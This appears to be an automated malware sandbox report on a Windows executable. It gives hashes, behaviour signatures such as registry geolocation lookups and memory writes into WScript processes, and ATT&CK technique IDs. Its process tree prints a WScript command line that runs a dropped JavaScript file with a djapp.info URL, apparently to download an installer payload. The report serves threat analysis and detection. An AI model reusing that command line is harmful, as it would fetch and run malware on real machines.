b08ec6b859357b2217ef4cb989a96bb2de9b7635ce2e835fd0e5ab26cdd4eba9

General

Target

97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe
Size

184KB
MD5

97baf34f347bef8b8d2984540ba5109c
SHA1

8f4b528a2c171a0459723db7fc487cdb7633e513
SHA256

b08ec6b859357b2217ef4cb989a96bb2de9b7635ce2e835fd0e5ab26cdd4eba9
SHA512

daaf9b41c20101bb06f6bcd819617cfbf08d61f4b7b7fb2220d9d7aedf04ee0bd576bd5a83670aaac9d56ad3820fbcb4ef0a24b8659c682aef8118267e4119e8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3n:/7BSH8zUB+nGESaaRvoB7FJNndnW

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	5092	WScript.exe
37	4496	WScript.exe
39	3312	WScript.exe
51	4964	WScript.exe
52	4964	WScript.exe
56	3232	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3460 wrote to memory of 5092	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	90
PID 3460 wrote to memory of 5092	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	90
PID 3460 wrote to memory of 5092	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	90
PID 3460 wrote to memory of 4496	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	103
PID 3460 wrote to memory of 4496	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	103
PID 3460 wrote to memory of 4496	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	103
PID 3460 wrote to memory of 3312	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	104
PID 3460 wrote to memory of 3312	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	104
PID 3460 wrote to memory of 3312	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	104
PID 3460 wrote to memory of 4964	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	107
PID 3460 wrote to memory of 4964	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	107
PID 3460 wrote to memory of 4964	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	107
PID 3460 wrote to memory of 3232	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	108
PID 3460 wrote to memory of 3232	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	108
PID 3460 wrote to memory of 3232	3460	97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe	108

C:\Users\Admin\AppData\Local\Temp\97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\97baf34f347bef8b8d2984540ba5109c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3460
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF55C.js" http://www.djapp.info/?domain=qmSDoVtdyN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufF55C.exe
  2⤵
  - Blocklisted process makes network request
  PID:5092
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF55C.js" http://www.djapp.info/?domain=qmSDoVtdyN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufF55C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4496
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF55C.js" http://www.djapp.info/?domain=qmSDoVtdyN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufF55C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3312
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF55C.js" http://www.djapp.info/?domain=qmSDoVtdyN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufF55C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4964
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF55C.js" http://www.djapp.info/?domain=qmSDoVtdyN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufF55C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4324,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=1416 /prefetch:8
1⤵
PID:3352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufF55C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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